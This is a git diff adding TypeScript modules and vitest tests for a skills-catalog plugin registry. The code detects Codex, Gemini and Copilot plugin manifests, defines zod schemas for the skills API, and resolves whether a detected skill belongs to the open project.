+ * over `readManifestIdentity`; the shared `skills/`-dir convention (registry)
+ * enumerates the bundled siblings + capability flags.
+ *
+ * These providers own MANIFEST RECOGNITION only. OK does not enumerate their
+ * locally-installed plugins or drive their install lifecycle, so `enumerate` /
+ * `inspectSource` / `homes` are inert and `setupSupported` is false — the "full
+ * plugin" action discloses + links for these, never executes.
+ *
+ * OpenCode is intentionally absent: it has NO plugin manifest (plugins are JS
+ * modules referenced from `opencode.json`'s `plugin` array), so there is no
+ * name/version to read and no manifest-declared skill set to bundle. Detecting
+ * it would surface a nameless, skill-less "plugin" — worse than not detecting.
+ */
+
+import { readFileSync } from 'node:fs';
+import { join } from 'node:path';
+import { readManifestIdentity } from './claude.ts';
+import type { PluginProviderAdapter } from './types.ts';
+
+function manifestDetectionProvider(
+ id: string,
+ manifestPaths: readonly string[],
+): PluginProviderAdapter {
+ return {
+ id,
+ homes: () => [],
+ enumerate: () => [],
+ inspectSource: () => null,
+ repositoryUrl: () => null,
+ resolveUpdateSource: (source) => source,
+ detectDir: (dir) => {
+ const manifest = readManifestIdentity(dir, manifestPaths);
+ return manifest ? { ...manifest, setupSupported: false } : null;
+ },
+ };
+}
+
+/** Does the JSON manifest at `dir/rel` declare a `skills` field? The Copilot
+ * discriminator for a bare-root `plugin.json` — a real skill-bundling plugin
+ * points `skills` at its dir(s); an unrelated root `plugin.json` (a common
+ * filename) does not, so this keeps detection from mislabeling it. */
+function manifestDeclaresSkills(dir: string, rel: string): boolean {
+ try {
+ const parsed = JSON.parse(readFileSync(join(dir, rel), 'utf-8')) as { skills?: unknown };
+ return parsed.skills !== undefined;
+ } catch {
+ return false;
+ }
+}
+
+/** OpenAI Codex CLI: `.codex-plugin/plugin.json` (manifest inside `.codex-plugin/`,
+ * `skills/` at repo root). Source: developers.openai.com/codex/plugins/build. */
+export const codexPluginProvider = manifestDetectionProvider('codex', [
+ '.codex-plugin/plugin.json',
+]);
+
+/** Google Gemini CLI: `gemini-extension.json` at the extension root.
+ * Source: github.com/google-gemini/gemini-cli docs/extensions/reference.md. */
+export const geminiPluginProvider = manifestDetectionProvider('gemini', ['gemini-extension.json']);
+
+/**
+ * GitHub Copilot CLI: `plugin.json` in a Copilot-namespaced dir (`.plugin/` or
+ * `.github/plugin/`) — unambiguous — OR a bare-root `plugin.json` that declares
+ * a `skills` field. The bare-root file is a common filename, so requiring the
+ * Copilot `skills` discriminator keeps an unrelated root `plugin.json` from
+ * being mislabeled a Copilot plugin. `.claude-plugin/` is omitted (Claude
+ * claims that shape first). Source: docs.github.com Copilot CLI plugins.
+ */
+export const copilotPluginProvider: PluginProviderAdapter = {
+ id: 'copilot',
+ homes: () => [],
+ enumerate: () => [],
+ inspectSource: () => null,
+ repositoryUrl: () => null,
+ resolveUpdateSource: (source) => source,
+ detectDir: (dir) => {
+ const namespaced = readManifestIdentity(dir, [
+ '.plugin/plugin.json',
+ '.github/plugin/plugin.json',
+ ]);
+ if (namespaced) return { ...namespaced, setupSupported: false };
+ if (!manifestDeclaresSkills(dir, 'plugin.json')) return null;
+ const root = readManifestIdentity(dir, ['plugin.json']);
+ return root ? { ...root, setupSupported: false } : null;
+ },
+};
diff --git a/packages/core/src/skills-catalog/plugin-providers/registry.test.ts b/packages/core/src/skills-catalog/plugin-providers/registry.test.ts
new file mode 100644
index 000000000..380405a30
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/registry.test.ts
@@ -0,0 +1,120 @@
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import {
+ enumeratePluginProvider,
+ inspectPluginSource,
+ resolvePluginUpdateSource,
+} from './registry.ts';
+
+let root: string;
+beforeEach(() => {
+ root = mkdtempSync(join(tmpdir(), 'ok-plugin-provider-'));
+});
+afterEach(() => {
+ rmSync(root, { recursive: true, force: true });
+});
+
+function seedCacheVersion(version: string): string {
+ const pluginRoot = join(root, 'plugins', 'cache', 'market', 'toolkit', version);
+ const skill = join(pluginRoot, 'skills', 'review');
+ mkdirSync(join(pluginRoot, '.claude-plugin'), { recursive: true });
+ mkdirSync(skill, { recursive: true });
+ writeFileSync(
+ join(pluginRoot, '.claude-plugin', 'plugin.json'),
+ JSON.stringify({ name: 'toolkit', version }),
+ );
+ writeFileSync(join(skill, 'SKILL.md'), '---\nname: review\ndescription: Review\n---\n');
+ return skill;
+}
+
+describe('plugin provider registry', () => {
+ test('inspects a Claude cache source into provider-neutral provenance', () => {
+ const source = seedCacheVersion('1.2.3');
+ writeFileSync(
+ join(root, 'plugins', 'known_marketplaces.json'),
+ JSON.stringify({ market: { source: { source: 'github', repo: 'acme/skills' } } }),
+ );
+
+ expect(inspectPluginSource(source)).toEqual({
+ provider: 'claude',
+ plugin: 'toolkit',
+ version: '1.2.3',
+ marketplace: 'market',
+ repositoryUrl: 'https://github.com/acme/skills',
+ });
+ });
+
+ test('inspects a marketplace checkout from its plugin manifest', () => {
+ const pluginRoot = join(root, 'plugins', 'marketplaces', 'market', 'plugins', 'toolkit');
+ const source = join(pluginRoot, 'skills', 'review');
+ mkdirSync(join(pluginRoot, '.claude-plugin'), { recursive: true });
+ mkdirSync(source, { recursive: true });
+ writeFileSync(
+ join(pluginRoot, '.claude-plugin', 'plugin.json'),
+ JSON.stringify({ name: 'toolkit', version: '3.0.0' }),
+ );
+
+ expect(inspectPluginSource(source)).toEqual({
+ provider: 'claude',
+ plugin: 'toolkit',
+ version: '3.0.0',
+ marketplace: 'market',
+ });
+ });
+
+ test('resolves updates through the matching provider and passes ordinary sources through', () => {
+ const oldSource = seedCacheVersion('1.0.0');
+ const latestSource = seedCacheVersion('2.0.0');
+
+ expect(resolvePluginUpdateSource(oldSource)).toBe(latestSource);
+ expect(resolvePluginUpdateSource('acme/repository')).toBe('acme/repository');
+ expect(resolvePluginUpdateSource(oldSource, 'future-provider')).toBe(oldSource);
+ });
+
+ test('rejects an ordinary directory that merely resembles a plugin cache path', () => {
+ const ordinary = join(
+ root,
+ 'repository',
+ 'plugins',
+ 'cache',
+ 'market',
+ 'toolkit',
+ '1.0.0',
+ 'skills',
+ 'review',
+ );
+ mkdirSync(ordinary, { recursive: true });
+ writeFileSync(join(ordinary, 'SKILL.md'), '---\nname: review\ndescription: Review\n---\n');
+
+ expect(inspectPluginSource(ordinary)).toBeNull();
+ expect(resolvePluginUpdateSource(ordinary)).toBe(ordinary);
+ });
+
+ test('enumerates a provider without exposing its manifest format to the caller', () => {
+ const pluginRoot = join(root, 'plugins', 'cache', 'market', 'toolkit', '1.0.0');
+ const skill = join(pluginRoot, 'skills', 'review');
+ mkdirSync(join(pluginRoot, '.claude-plugin'), { recursive: true });
+ mkdirSync(skill, { recursive: true });
+ writeFileSync(join(skill, 'SKILL.md'), '---\nname: review\ndescription: Review\n---\n');
+ writeFileSync(
+ join(root, 'plugins', 'installed_plugins.json'),
+ JSON.stringify({
+ plugins: {
+ 'toolkit@market': [{ installPath: pluginRoot, scope: 'user', version: '1.0.0' }],
+ },
+ }),
+ );
+
+ const bundles = enumeratePluginProvider('claude', join(root, 'plugins'));
+
+ expect(bundles).toHaveLength(1);
+ expect(bundles[0]?.skills[0]?.provenance).toMatchObject({
+ pluginProvider: 'claude',
+ plugin: 'toolkit',
+ marketplace: 'market',
+ version: '1.0.0',
+ });
+ });
+});
diff --git a/packages/core/src/skills-catalog/plugin-providers/registry.ts b/packages/core/src/skills-catalog/plugin-providers/registry.ts
new file mode 100644
index 000000000..ee24a6094
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/registry.ts
@@ -0,0 +1,125 @@
+import type { SkillBundle } from '../adapters/shared.ts';
+import { enumerateBundledSkills, inspectBundleCapabilities } from './bundle-inspect.ts';
+import { claudePluginProvider } from './claude.ts';
+import {
+ codexPluginProvider,
+ copilotPluginProvider,
+ geminiPluginProvider,
+} from './manifest-providers.ts';
+import type {
+ PluginBundleInspection,
+ PluginProviderAdapter,
+ PluginProviderHome,
+ PluginProviderId,
+ PluginSourceInspection,
+} from './types.ts';
+
+// Claude leads: OK owns the Claude plugin lifecycle, and a multi-harness repo
+// (e.g. ponytail ships .claude-plugin/ AND .codex-plugin/ AND gemini-extension.json)
+// should resolve to the provider OK can actually drive setup for.
+const PROVIDERS = [
+ claudePluginProvider,
+ codexPluginProvider,
+ geminiPluginProvider,
+ copilotPluginProvider,
+] as const satisfies readonly PluginProviderAdapter[];
+
+function providerById(id: PluginProviderId): PluginProviderAdapter | undefined {
+ return PROVIDERS.find((candidate) => candidate.id === id);
+}
+
+function providerCandidates(id?: PluginProviderId): readonly PluginProviderAdapter[] {
+ if (id === undefined) return PROVIDERS;
+ const provider = providerById(id);
+ return provider ? [provider] : [];
+}
+
+export function pluginProviderHomes(
+ home: string,
+): Array<PluginProviderHome & { provider: PluginProviderId }> {
+ return PROVIDERS.flatMap((provider) =>
+ provider.homes(home).map((candidate) => ({ provider: provider.id, ...candidate })),
+ );
+}
+
+export function enumeratePluginProvider(
+ provider: PluginProviderId,
+ home: string,
+ harness: string = provider,
+): SkillBundle[] {
+ const adapter = providerById(provider);
+ if (!adapter) throw new Error(`unknown plugin provider: ${provider}`);
+ return adapter.enumerate(home, harness).map((bundle) => ({
+ ...bundle,
+ skills: bundle.skills.map((skill) => ({
+ ...skill,
+ provenance: { ...skill.provenance, pluginProvider: provider },
+ })),
+ }));
+}
+
+/** Inspect a source with the first provider that recognizes its on-disk format. */
+export function inspectPluginSource(
+ source: string,
+ providerId?: PluginProviderId,
+): PluginSourceInspection | null {
+ for (const provider of providerCandidates(providerId)) {
+ const inspection = provider.inspectSource(source);
+ if (!inspection) continue;
+ const repositoryUrl = provider.repositoryUrl(source);
+ return {
+ provider: provider.id,
+ ...inspection,
+ ...(repositoryUrl ? { repositoryUrl } : {}),
+ };
+ }
+ return null;
+}
+
+/**
+ * Recognize a CLONED source repo (a skills.sh import) as a plugin — skills.sh
+ * surfaces one skill and never flags the plugin relationship, but the source
+ * repo carries the manifest, and the preview/discover path already clones it.
+ * The first provider whose manifest the dir matches wins; the shared
+ * `skills/`-dir convention then enumerates the bundled siblings + capability
+ * flags. Returns null for a bare skill repo (no plugin manifest) or a plugin
+ * that ships no `skills/` dir (nothing to bundle-offer). Read-only — inspects
+ * manifests, executes nothing.
+ */
+export function inspectPluginBundleDir(dir: string): PluginBundleInspection | null {
+ for (const provider of PROVIDERS) {
+ const detected = provider.detectDir(dir);
+ if (!detected) continue;
+ const bundledSkills = enumerateBundledSkills(dir);
+ if (bundledSkills.length === 0) return null;
+ return {
+ provider: provider.id,
+ plugin: detected.plugin,
+ ...(detected.version ? { version: detected.version } : {}),
+ ...(detected.description ? { description: detected.description } : {}),
+ bundledSkills,
+ capabilities: inspectBundleCapabilities(dir),
+ setupSupported: detected.setupSupported,
+ };
+ }
+ return null;
+}
+
+/** Resolve repository metadata without requiring a complete plugin inspection. */
+export function pluginRepositoryUrl(source: string, providerId?: PluginProviderId): string | null {
+ for (const provider of providerCandidates(providerId)) {
+ if (!provider.inspectSource(source)) continue;
+ const repositoryUrl = provider.repositoryUrl(source);
+ if (repositoryUrl) return repositoryUrl;
+ }
+ return null;
+}
+
+/** Follow a provider-managed source to its current update candidate. */
+export function resolvePluginUpdateSource(source: string, providerId?: PluginProviderId): string {
+ for (const provider of providerCandidates(providerId)) {
+ if (!provider.inspectSource(source)) continue;
+ return provider.resolveUpdateSource(source);
+ }
+ return source;
+}
diff --git a/packages/core/src/skills-catalog/plugin-providers/types.ts b/packages/core/src/skills-catalog/plugin-providers/types.ts
new file mode 100644
index 000000000..8dae64818
--- /dev/null
+++ b/packages/core/src/skills-catalog/plugin-providers/types.ts
@@ -0,0 +1,71 @@
+import type { SkillBundle } from '../adapters/shared.ts';
+
+/** Provider ids are persisted in lockfiles, so unknown future ids stay readable. */
+export type PluginProviderId = string;
+
+export interface PluginProviderHome {
+ readonly harness: string;
+ readonly dir: string;
+}
+
+/** Provider-neutral provenance extracted from an installed plugin source path. */
+export interface PluginSourceInspection {
+ readonly provider: PluginProviderId;
+ readonly plugin: string;
+ readonly version?: string;
+ readonly marketplace?: string;
+ readonly repositoryUrl?: string;
+}
+
+/** Capability presence-flags surfaced from a plugin bundle (never mapped/run). */
+export interface PluginCapabilities {
+ readonly commands: boolean;
+ readonly hooks: boolean;
+ readonly mcp: boolean;
+ readonly agents: boolean;
+}
+
+/**
+ * A plugin detected by inspecting a CLONED source repo (skills.sh import), not a
+ * locally-installed plugin-manager path. `bundledSkills` are the skill-dir names
+ * shipped alongside the manifest — the sibling set that powers dependent-ref
+ * resolution and the "set up the whole plugin" disclosure. Empty when the
+ * provider has no manifest convention that enumerates skills (e.g. OpenCode).
+ */
+export interface PluginBundleInspection {
+ readonly provider: PluginProviderId;
+ readonly plugin: string;
+ readonly version?: string;
+ readonly description?: string;
+ readonly repositoryUrl?: string;
+ readonly bundledSkills: readonly string[];
+ readonly capabilities: PluginCapabilities;
+ /** OK can drive setup only for providers it owns the lifecycle of (Claude);
+ * for the rest the "full plugin" action discloses + links, never executes. */
+ readonly setupSupported: boolean;
+}
+
+/** One plugin manager's read-only discovery and source lifecycle contract. */
+export interface PluginProviderAdapter {
+ readonly id: PluginProviderId;
+ /** Provider-owned user-global discovery roots. */
+ homes(home: string): readonly PluginProviderHome[];
+ enumerate(home: string, harness: string): SkillBundle[];
+ inspectSource(source: string): Omit<PluginSourceInspection, 'provider' | 'repositoryUrl'> | null;
+ repositoryUrl(source: string): string | null;
+ resolveUpdateSource(source: string): string;
+ /**
+ * Recognize a CLONED repo dir as this provider's plugin by its manifest, and
+ * return the plugin's identity — name/version/description read from the
+ * manifest. Null when the dir carries no manifest of this provider's shape.
+ * `bundledSkills`/capabilities are filled by the registry via the shared
+ * `skills/`-dir convention, so an adapter only owns manifest recognition.
+ * `setupSupported` marks whether OK can drive the provider's install.
+ */
+ detectDir(dir: string): {
+ readonly plugin: string;
+ readonly version?: string;
+ readonly description?: string;
+ readonly setupSupported: boolean;
+ } | null;
+}
diff --git a/packages/core/src/skills-catalog/schema.ts b/packages/core/src/skills-catalog/schema.ts
new file mode 100644
index 000000000..abd4aec26
--- /dev/null
+++ b/packages/core/src/skills-catalog/schema.ts
@@ -0,0 +1,308 @@
+/**
+ * The shared skill/Pack model — the vocabulary every marketplace slice
+ * (enumerate, import, project, publish) speaks.
+ *
+ * Three types:
+ * - `SkillManifest` — the OPEN agentskills.io skill-dir unit (a `SKILL.md`
+ * with `name`+`description`, optional `scripts/`/`references/`). The
+ * cross-agent interop currency `skills.sh` + 51 agents already speak.
+ * - `CatalogSkill` — one installed instance, normalized across harnesses.
+ * The cross-harness enumerator produces these. After cross-harness de-dupe
+ * a single logical skill carries `sourceHarnesses[]` (every harness it was
+ * found in); `sourceHarness` is the primary (first, sorted) for the §3
+ * single-source contract.
+ * - `OkPack` — OK's bundling ENVELOPE over ≥1 skill-dir. NOT a new wire
+ * format — it wraps the open standard, adding name/version/host-compat.
+ *
+ * `looseObject` everywhere for forward-compat: a future field passes through
+ * older readers untouched, matching the sibling `installed-skills/schema.ts`.
+ */
+
+import type { StandardSchemaV1 } from '@standard-schema/spec';
+import { z } from 'zod';
+import { MANAGED_ARTIFACT_SCOPES } from '../constants/cc1.ts';
+
+/** Current `ok-pack.json` envelope schema version. */
+export const OK_PACK_SCHEMA_VERSION = 1;
+
+/**
+ * The open agentskills.io skill-dir unit. `files` lists bundle contents by
+ * role; paths are absolute. OK never executes `scripts` — they are surfaced,
+ * never run (the trust contract).
+ */
+export const SkillManifestSchema = z.looseObject({
+ name: z.string(),
+ description: z.string(),
+ files: z.looseObject({
+ skillMd: z.string(),
+ scripts: z.array(z.string()),
+ references: z.array(z.string()),
+ }),
+});
+export type SkillManifest = z.infer<typeof SkillManifestSchema>;
+
+/**
+ * Provenance the harness records. Rich for Claude plugins (version, commit,
+ * marketplace, scope); empty for bare skill-dirs that carry none. `scope` is
+ * the harness's RAW scope string (e.g. Claude's `project`/`user`), NOT coerced
+ * into OK's `project`/`global` enum. `projectPath` is the project a `project`-
+ * scoped install is bound to — load-bearing for project-locality: it's how the
+ * catalog tells a plugin installed for THIS project from one installed for
+ * another (see `isDetectedSkillInProject` in `./scope.ts`).
+ */
+export const SkillProvenanceSchema = z.looseObject({
+ pluginProvider: z.string().optional(),
+ plugin: z.string().optional(),
+ marketplace: z.string().optional(),
+ version: z.string().optional(),
+ gitCommitSha: z.string().optional(),
+ scope: z.string().optional(),
+ projectPath: z.string().optional(),
+});
+export type SkillProvenance = z.infer<typeof SkillProvenanceSchema>;
+
+/**
+ * Capability presence-flags (OF: surfaced, not mapped). Whether the source
+ * bundle ships `commands/`, `hooks/`, or an `.mcp.json` — boolean only; the
+ * deeper transfer mapping is a later slice.
+ */
+export const SkillInertSchema = z.looseObject({
+ commands: z.boolean(),
+ hooks: z.boolean(),
+ mcp: z.boolean(),
+});
+export type SkillInert = z.infer<typeof SkillInertSchema>;
+
+/** One installed skill, normalized across harnesses. */
+export const CatalogSkillSchema = z.looseObject({
+ ...SkillManifestSchema.shape,
+ sourceHarness: z.string(),
+ /** Every harness this skill was found in (de-dupe collapses across homes). */
+ sourceHarnesses: z.array(z.string()),
+ home: z.string(),
+ provenance: SkillProvenanceSchema,
+ inert: SkillInertSchema,
+});
+export type CatalogSkill = z.infer<typeof CatalogSkillSchema>;
+
+/**
+ * The OK Pack envelope. Minimal v1: enough for a multi-skill plugin (the `eng`
+ * plugin bundles ~12 skills) to round-trip as one bundle and for import/publish
+ * to share the contract. `capabilities`/`provenance` are optional and left
+ * unpopulated by the read-only enumerator (no `contentHash` is fabricated).
+ */
+export const OkPackSchema = z.looseObject({
+ schema: z.literal(OK_PACK_SCHEMA_VERSION),
+ name: z.string(),
+ version: z.string(),
+ description: z.string().optional(),
+ author: z.looseObject({ name: z.string() }).optional(),
+ skills: z.array(z.string()),
+ hostCompatibility: z.array(z.string()).optional(),
+ capabilities: z
+ .looseObject({ scripts: z.string(), network: z.string(), inert: z.array(z.string()) })
+ .optional(),
+ provenance: z
+ .looseObject({ source: z.string(), ref: z.string(), contentHash: z.string() })
+ .optional(),
+});
+export type OkPack = z.infer<typeof OkPackSchema>;
+
+/**
+ * Success body for `GET /api/skills/installed`. `.loose()` + StandardSchema
+ * conformance to match the `schemas/api/*` cluster convention.
+ */
+export const SkillsInstalledSuccessSchema = z
+ .object({
+ skills: z.array(CatalogSkillSchema),
+ packs: z.array(OkPackSchema),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillsInstalledSuccess = z.infer<typeof SkillsInstalledSuccessSchema>;
+
+/** One discovery result (skills.sh or the GitHub-topic fallback). */
+export const SkillSearchResultSchema = z
+ .object({
+ // Stable `{source}/{slug}` id from skills.sh, or `owner/repo` for a GitHub hit.
+ id: z.string().min(1),
+ name: z.string().min(1),
+ // skills.sh source identifier: GitHub `owner/repo` coordinates or a website hostname.
+ source: z.string().min(1),
+ description: z.string(),
+ // Install count (skills.sh ranking signal); null in the degraded GitHub fallback.
+ installs: z.number().int().nonnegative().nullable(),
+ publisher: z.string().nullable(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillSearchResult = z.infer<typeof SkillSearchResultSchema>;
+
+/**
+ * Success body for `GET /api/skills/search`. `backend` names which discovery
+ * source answered; `degraded` is true when the keyless skills.sh endpoint was
+ * unavailable and the GitHub-topic fallback answered (no install-count ranking).
+ */
+export const SkillsSearchSuccessSchema = z
+ .object({
+ results: z.array(SkillSearchResultSchema),
+ backend: z.enum(['skills.sh', 'github-fallback']),
+ degraded: z.boolean(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillsSearchSuccess = z.infer<typeof SkillsSearchSuccessSchema>;
+
+/**
+ * Success body for `GET /api/skills/detail`. Enriches one discovery result for
+ * the info modal: `image`/`title`/`description` come from the skills.sh page's
+ * Open Graph tags (the page can't be iframed — `x-frame-options: DENY` — so the
+ * og:image is the rendered "page preview"), `skillsUrl` links back to skills.sh,
+ * and `sourceUrl` links to either the GitHub repository or website publisher.
+ * `image`/`skillsUrl` are null when the skill has no reachable skills.sh page.
+ */
+export const SkillDetailSchema = z
+ .object({
+ title: z.string(),
+ description: z.string(),
+ image: z.string().nullable(),
+ skillsUrl: z.string().nullable(),
+ sourceKind: z.enum(['github', 'site']),
+ sourceUrl: z.string(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillDetail = z.infer<typeof SkillDetailSchema>;
+
+/**
+ * One skill discovered inside an import source — its dir/frontmatter `name` (the
+ * value the import path matches against) and SKILL.md `description` for the
+ * picker row. Mirrors what `discoverSkillDirs` + `parseSkillDir` yield.
+ */
+const DiscoveredSkillSchema = z
+ .object({
+ name: z.string(),
+ description: z.string().nullable(),
+ })
+ .loose() satisfies StandardSchemaV1;
+
+/**
+ * Success body for `GET /api/skills/discover`. Enumerates every SKILL.md found
+ * in a remote/local source via a shallow clone (same machinery as import), so
+ * the Import modal can offer a picker of what to ingest instead of a blind
+ * free-text "which skill" box. Empty `skills` means the source had no SKILL.md.
+ */
+export const SkillDiscoverSchema = z
+ .object({ skills: z.array(DiscoveredSkillSchema) })
+ .loose() satisfies StandardSchemaV1;
+export type SkillDiscover = z.infer<typeof SkillDiscoverSchema>;
+
+/**
+ * Success body for `GET /api/skills/resolve-ref` — where a skill's `/other-skill`
+ * reference resolves, by TRUSTED-PROVENANCE precedence (no marketplace-wide name
+ * search, by design):
+ *
+ * - `local` — a skill by that name is already installed (nothing to import;
+ * `scope`/`name` name it). Wins first: it's what the user already has, and
+ * importing a same-name skill would fork.
+ * - `import` — resolvable from a trusted source: `via: 'source'` (a sibling in
+ * the referencing skill's own origin repo/plugin) or `via: 'publisher'` (a
+ * same-publisher skills.sh result). `source`/`ref` drive a consented preview.
+ * - `none` — no trusted signal matched. The caller leaves the missing-ref
+ * marker and offers MANUAL Explore search; OK never auto-picks a fuzzy match.
+ */
+export const SkillRefResolutionSchema = z
+ .object({
+ kind: z.enum(['local', 'import', 'none']),
+ scope: z.enum(MANAGED_ARTIFACT_SCOPES).optional(),
+ name: z.string().optional(),
+ /** `kind: 'local'` only — the resolved skill's REAL bundle dir, base-relative
+ * (`.claude/skills/<name>`, `.agents/skills/<name>`, a custom root, …).
+ * Without it a caller has to guess the on-disk shape, and guessing the
+ * retired `.ok/skills/<name>` store mints a doc name that opens a phantom
+ * empty tab. The server already resolves this dir to answer the query. */
+ dir: z.string().optional(),
+ source: z.string().optional(),
+ ref: z.string().optional(),
+ via: z.enum(['source', 'publisher']).optional(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillRefResolution = z.infer<typeof SkillRefResolutionSchema>;
+
+/**
+ * One bundle file in a skill preview — a `references/**` or `scripts/**` file's
+ * skill-relative path and full UTF-8 contents, read (never executed) during the
+ * same shallow clone that yields `skillMd`. Mirrors `AcquiredFile` from the
+ * import parser so the preview shows the exact bytes an import would write.
+ */
+const SkillPreviewFileSchema = z
+ .object({
+ relPath: z.string(),
+ /** UTF-8 text, or `null` when the file is binary. Raw bytes are NOT sent to
+ * the preview (a preview renders text or shows the file as binary) — the
+ * full-fidelity bytes only matter on import. */
+ content: z.string().nullable(),
+ })
+ .loose() satisfies StandardSchemaV1;
+
+/** Provider-neutral plugin metadata for a source managed by a plugin system. */
+export const PluginSourceMetadataSchema = z
+ .object({
+ provider: z.string(),
+ plugin: z.string(),
+ version: z.string().optional(),
+ marketplace: z.string().optional(),
+ repositoryUrl: z.string().optional(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type PluginSourceMetadata = z.infer<typeof PluginSourceMetadataSchema>;
+
+/**
+ * A plugin detected by inspecting the CLONED skills.sh source repo — skills.sh
+ * surfaces one skill and never flags the plugin relationship, so the preview
+ * reads the source's manifest itself. `bundledSkills` is the sibling set (powers
+ * "set up the whole plugin" + dependent-ref resolution); capability flags are
+ * presence-only (never mapped/run). `setupSupported` is true only for providers
+ * OK can drive the install of (Claude) — false providers disclose + link.
+ */
+export const PluginBundleMetadataSchema = z
+ .object({
+ provider: z.string(),
+ plugin: z.string(),
+ version: z.string().optional(),
+ description: z.string().optional(),
+ repositoryUrl: z.string().optional(),
+ bundledSkills: z.array(z.string()),
+ capabilities: z.object({
+ commands: z.boolean(),
+ hooks: z.boolean(),
+ mcp: z.boolean(),
+ agents: z.boolean(),
+ }),
+ setupSupported: z.boolean(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type PluginBundleMetadata = z.infer<typeof PluginBundleMetadataSchema>;
+
+/**
+ * Success body for `GET /api/skills/preview`. Returns the un-imported skill's
+ * full `SKILL.md` text (frontmatter + body) plus every `references/**` /
+ * `scripts/**` bundle file, so the Explore preview can render the skill through
+ * the editor's own read-only markdown viewer with a file tree — the same prose
+ * and files it'd show once imported, before committing to the import. `name` is
+ * the skill actually picked from the source (its frontmatter/dir name, which can
+ * differ from the search row's name); `description` is the SKILL.md frontmatter
+ * description (null when absent). Fetched via a shallow clone (same machinery as
+ * import), so a network/clone failure surfaces as a non-`ok` request and the
+ * preview degrades to the Open Graph card.
+ */
+export const SkillPreviewSchema = z
+ .object({
+ name: z.string(),
+ description: z.string().nullable(),
+ skillMd: z.string(),
+ files: z.array(SkillPreviewFileSchema),
+ /** Normalized plugin provenance when a registered provider owns the source. */
+ plugin: PluginSourceMetadataSchema.optional(),
+ /** Set when the CLONED skills.sh source repo is itself a plugin bundling
+ * several skills — drives the "also available as a full plugin" disclosure. */
+ pluginBundle: PluginBundleMetadataSchema.optional(),
+ })
+ .loose() satisfies StandardSchemaV1;
+export type SkillPreview = z.infer<typeof SkillPreviewSchema>;
diff --git a/packages/core/src/skills-catalog/scope.test.ts b/packages/core/src/skills-catalog/scope.test.ts
new file mode 100644
index 000000000..d02778116
--- /dev/null
+++ b/packages/core/src/skills-catalog/scope.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it } from 'vitest';
+import type { SkillProvenance } from './schema.ts';
+import { catalogRawScopeToOkScope, isDetectedSkillInProject } from './scope.ts';
+
+describe('catalogRawScopeToOkScope', () => {
+ it('maps Claude project-bound scopes to project', () => {
+ expect(catalogRawScopeToOkScope('project')).toBe('project');
+ expect(catalogRawScopeToOkScope('local')).toBe('project');
+ });
+
+ it('maps user-global / unknown / absent scopes to global', () => {
+ expect(catalogRawScopeToOkScope('user')).toBe('global');
+ expect(catalogRawScopeToOkScope('something-else')).toBe('global');
+ expect(catalogRawScopeToOkScope(undefined)).toBe('global');
+ });
+});
+
+describe('isDetectedSkillInProject', () => {
+ const prov = (p: Partial<SkillProvenance>): SkillProvenance => p;
+ const DIR = '/Users/me/inkeep/bim-tools-2';
+
+ it('keeps user-global installs regardless of project', () => {
+ expect(isDetectedSkillInProject(prov({ scope: 'user' }), DIR)).toBe(true);
+ expect(isDetectedSkillInProject(prov({}), DIR)).toBe(true);
+ });
+
+ it('keeps a project-scoped install bound to THIS project', () => {
+ expect(isDetectedSkillInProject(prov({ scope: 'project', projectPath: DIR }), DIR)).toBe(true);
+ // Trailing-slash-insensitive.
+ expect(isDetectedSkillInProject(prov({ scope: 'project', projectPath: `${DIR}/` }), DIR)).toBe(
+ true,
+ );
+ });
+
+ it('drops a project-scoped install bound to a DIFFERENT project', () => {
+ expect(
+ isDetectedSkillInProject(
+ prov({ scope: 'project', projectPath: '/Users/me/inkeep/agents-private' }),
+ DIR,
+ ),
+ ).toBe(false);
+ });
+
+ it('keeps a project-scoped install that records no projectPath (unattributable)', () => {
+ expect(isDetectedSkillInProject(prov({ scope: 'project' }), DIR)).toBe(true);
+ });
+
+ it('keeps everything when the open project dir is unknown', () => {
+ expect(
+ isDetectedSkillInProject(prov({ scope: 'project', projectPath: '/elsewhere' }), undefined),
+ ).toBe(true);
+ });
+
+ // The server normalizes a linked worktree's own path to its parent-checkout
+ // IDENTITY (resolveProjectIdentity) before calling in, so a parent-recorded
+ // project install matches from inside the worktree while a genuinely different
+ // project stays dropped. Here the caller passes that pre-resolved identity.
+ it('matches a parent-recorded install when passed the resolved parent identity', () => {
+ const MAIN = '/Users/me/inkeep/agents-private';
+ // projectDir here is the worktree normalized to MAIN, so the parent's
+ // project-scoped install (keyed on MAIN) is kept.
+ expect(isDetectedSkillInProject(prov({ scope: 'project', projectPath: MAIN }), MAIN)).toBe(
+ true,
+ );
+ // A different project's install is still dropped under the same identity.
+ expect(
+ isDetectedSkillInProject(prov({ scope: 'project', projectPath: '/Users/me/other' }), MAIN),
+ ).toBe(false);
+ });
+});
diff --git a/packages/core/src/skills-catalog/scope.ts b/packages/core/src/skills-catalog/scope.ts
new file mode 100644
index 000000000..6272945ac
--- /dev/null
+++ b/packages/core/src/skills-catalog/scope.ts
@@ -0,0 +1,66 @@
+/**
+ * Detected-skill scope resolution — the project-locality boundary for the
+ * cross-harness catalog (precedent #50).
+ *
+ * `enumerateInstalledSkills` is machine-global: it lists every skill installed
+ * in every harness home, including Claude plugins installed *project-scoped for
+ * a different project*. Surfacing those under the current project's PROJECT
+ * header is a project-locality violation — a resource bound to project A must
+ * not appear as project B's. These two pure helpers draw that boundary:
+ *
+ * - `catalogRawScopeToOkScope` maps a harness's raw scope string onto OK's
+ * `project | global` enum (the client-side bucket for a detected row).
+ * - `isDetectedSkillInProject` decides whether a detected skill belongs to the
+ * open project at all — the server drops the ones that don't before the
+ * client ever buckets them.
+ *
+ * Pure + browser-safe (no `node:*`) so both the client sidebar and the server
+ * endpoint share one source of truth.
+ */
+
+import type { SkillScope } from '../schemas/api/tags-search.ts';
+import type { SkillProvenance } from './schema.ts';
+
+/** Claude's raw scope values that denote a project-bound (not user-global) install. */
